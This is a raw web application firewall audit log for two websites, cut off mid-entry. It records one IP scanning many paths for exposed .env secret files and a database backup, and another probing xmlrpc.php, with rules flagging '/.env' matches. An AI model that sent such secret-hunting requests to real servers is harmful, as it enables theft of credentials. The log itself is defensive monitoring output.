<https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4a362a9c653dd310586a65837c9b80eb1750030745; expires=Mon, 16 Jun 2025 00:39:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c9cdb806-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/front-app/.env"] [unique_id "aE9ZmapdvXW4_hknQUUu1wAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030745182399 663411 (- - -) Stopwatch2: 1750030745182399 663411; combined=1726, p1=359, p2=1278, p3=0, p4=0, p5=88, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c9cdb806-Z-- --fca36a37-A-- [16/Jun/2025:05:09:06.886291 +0530] aE9ZmmM0Xdzjsxbr1PzvKwAAAAY 185.177.72.210 48514 127.0.0.1 7081 --fca36a37-B-- GET /storage/app/private/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fca36a37-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a959b1473d6195ee1dc50af9a9c87eb01750030746; expires=Mon, 16 Jun 2025 00:39:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fca36a37-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/storage/app/private/.env"] [unique_id "aE9ZmmM0Xdzjsxbr1PzvKwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030746167338 719015 (- - -) Stopwatch2: 1750030746167338 719015; combined=2043, p1=541, p2=1408, p3=0, p4=0, p5=93, sr=131, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fca36a37-Z-- --a4754d74-A-- [16/Jun/2025:05:09:10.065714 +0530] aE9ZncalTF-TysO2fMOGNQAAAAE 185.177.72.210 45408 127.0.0.1 7081 --a4754d74-B-- GET /:8880/laravel/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a4754d74-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f97d95cd0373e27450944ea5d9d0241d1750030749; expires=Mon, 16 Jun 2025 00:39:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a4754d74-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/laravel/.env"] [unique_id "aE9ZncalTF-TysO2fMOGNQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030749345545 720255 (- - -) Stopwatch2: 1750030749345545 720255; combined=2245, p1=465, p2=1645, p3=0, p4=0, p5=135, sr=103, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a4754d74-Z-- --975b0742-A-- [16/Jun/2025:05:09:11.800254 +0530] aE9ZnrV9qKUox3X8g1Yq-gAAAAg 128.199.112.101 45508 127.0.0.1 7081 --975b0742-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --975b0742-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --975b0742-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9ZnrV9qKUox3X8g1Yq-gAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030750813079 987242 (- - -) Stopwatch2: 1750030750813079 987242; combined=2363, p1=397, p2=1553, p3=44, p4=61, p5=190, sr=122, sw=118, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --975b0742-Z-- --c861c444-A-- [16/Jun/2025:05:09:23.755070 +0530] aE9Zq0oyC4_VyyL7sS6PsgAAAAI 185.177.72.210 42674 127.0.0.1 7081 --c861c444-B-- GET /:8888/courrier/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c861c444-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ed7499f6a895264fa254fd5d92f7b1021750030763; expires=Mon, 16 Jun 2025 00:39:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c861c444-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/courrier/.env"] [unique_id "aE9Zq0oyC4_VyyL7sS6PsgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030763081160 674000 (- - -) Stopwatch2: 1750030763081160 674000; combined=2019, p1=372, p2=1538, p3=0, p4=0, p5=108, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c861c444-Z-- --70c3f71b-A-- [16/Jun/2025:05:09:25.758578 +0530] aE9ZrVu-mTBjBTNx-ySJQwAAAAk 185.177.72.210 42738 127.0.0.1 7081 --70c3f71b-B-- GET /:9000/data/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --70c3f71b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b411958d368c4330aabe2a6b7c4bf07d1750030765; expires=Mon, 16 Jun 2025 00:39:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --70c3f71b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/data/.env"] [unique_id "aE9ZrVu-mTBjBTNx-ySJQwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030765045260 713395 (- - -) Stopwatch2: 1750030765045260 713395; combined=1987, p1=428, p2=1435, p3=0, p4=0, p5=123, sr=118, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --70c3f71b-Z-- --1b37ad48-A-- [16/Jun/2025:05:09:26.739600 +0530] aE9ZrrV9qKUox3X8g1YrAQAAAAg 185.177.72.210 42778 127.0.0.1 7081 --1b37ad48-B-- GET /:8880/.env_hidden HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1b37ad48-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4359bab4a09ef02819cdd2b39264aa1e1750030766; expires=Mon, 16 Jun 2025 00:39:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1b37ad48-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.env_hidden"] [unique_id "aE9ZrrV9qKUox3X8g1YrAQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030766080177 659487 (- - -) Stopwatch2: 1750030766080177 659487; combined=1831, p1=391, p2=1340, p3=0, p4=0, p5=100, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1b37ad48-Z-- --8cc5a175-A-- [16/Jun/2025:05:09:27.750040 +0530] aE9Zr8alTF-TysO2fMOGPgAAAAE 185.177.72.210 42830 127.0.0.1 7081 --8cc5a175-B-- GET /:8008/dev/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8cc5a175-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5c7cfef2ec55f79edc047ec29dfba4131750030767; expires=Mon, 16 Jun 2025 00:39:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8cc5a175-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/dev/.env"] [unique_id "aE9Zr8alTF-TysO2fMOGPgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030767060885 689218 (- - -) Stopwatch2: 1750030767060885 689218; combined=1880, p1=357, p2=1423, p3=0, p4=0, p5=100, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8cc5a175-Z-- --2a236b11-A-- [16/Jun/2025:05:09:30.503356 +0530] aE9ZsX87s8ehggCfEuazpQAAAAQ 185.177.72.210 55704 127.0.0.1 7081 --2a236b11-B-- GET /:5000/.env.prod HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2a236b11-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=547df7928e12dc1fbe5203558ffc1dd11750030770; expires=Mon, 16 Jun 2025 00:39:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2a236b11-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.env.prod"] [unique_id "aE9ZsX87s8ehggCfEuazpQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030769852859 650559 (- - -) Stopwatch2: 1750030769852859 650559; combined=1910, p1=352, p2=1458, p3=0, p4=0, p5=99, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2a236b11-Z-- --39148b3d-A-- [16/Jun/2025:05:09:35.775589 +0530] aE9Zt8alTF-TysO2fMOGQQAAAAE 185.177.72.210 55890 127.0.0.1 7081 --39148b3d-B-- GET /:8880/.env.3 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --39148b3d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d41042d86208503ad9e6ce6ce00ecc7e1750030775; expires=Mon, 16 Jun 2025 00:39:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --39148b3d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.env.3"] [unique_id "aE9Zt8alTF-TysO2fMOGQQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030775056619 719045 (- - -) Stopwatch2: 1750030775056619 719045; combined=2634, p1=653, p2=1886, p3=0, p4=0, p5=95, sr=138, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --39148b3d-Z-- --74272975-A-- [16/Jun/2025:05:09:39.545447 +0530] aE9ZukoyC4_VyyL7sS6PuAAAAAI 185.177.72.210 56024 127.0.0.1 7081 --74272975-B-- GET /:8888/vendor/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --74272975-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0a7a8335f9585e26ea6c653064af0f201750030779; expires=Mon, 16 Jun 2025 00:39:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --74272975-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/vendor/.env"] [unique_id "aE9ZukoyC4_VyyL7sS6PuAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030778887219 658307 (- - -) Stopwatch2: 1750030778887219 658307; combined=2107, p1=466, p2=1512, p3=0, p4=0, p5=128, sr=121, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --74272975-Z-- --cf039d0e-A-- [16/Jun/2025:05:10:02.200510 +0530] aE9Z0VxTdrwJSUMoZvG48QAAAAc 185.177.72.210 57108 127.0.0.1 7081 --cf039d0e-B-- GET /db_backup.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cf039d0e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=387eedffb8c3346f67056f09d980b9e21750030802; expires=Mon, 16 Jun 2025 00:40:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cf039d0e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/db_backup.sql"] [unique_id "aE9Z0VxTdrwJSUMoZvG48QAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030801438667 761938 (- - -) Stopwatch2: 1750030801438667 761938; combined=2268, p1=395, p2=1702, p3=0, p4=0, p5=171, sr=131, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cf039d0e-Z-- --564e853a-A-- [16/Jun/2025:05:10:08.080232 +0530] aE9Z17V9qKUox3X8g1YrHgAAAAg 185.177.72.210 57332 127.0.0.1 7081 --564e853a-B-- GET /scripts/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --564e853a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b7cf61752eb5796f4c8eb24ac2e1e5dd1750030807; expires=Mon, 16 Jun 2025 00:40:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --564e853a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/scripts/.env"] [unique_id "aE9Z17V9qKUox3X8g1YrHgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030807388630 691665 (- - -) Stopwatch2: 1750030807388630 691665; combined=2020, p1=395, p2=1532, p3=0, p4=0, p5=93, sr=107, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --564e853a-Z-- --2e72be2f-A-- [16/Jun/2025:05:10:10.196166 +0530] aE9Z2X87s8ehggCfEuazwgAAAAQ 185.177.72.210 51462 127.0.0.1 7081 --2e72be2f-B-- GET /:9000/config/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2e72be2f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=82d569728cf54ac8029c08c9b0cec5ea1750030809; expires=Mon, 16 Jun 2025 00:40:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2e72be2f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/config/.env"] [unique_id "aE9Z2X87s8ehggCfEuazwgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030809484946 711280 (- - -) Stopwatch2: 1750030809484946 711280; combined=1905, p1=386, p2=1451, p3=0, p4=0, 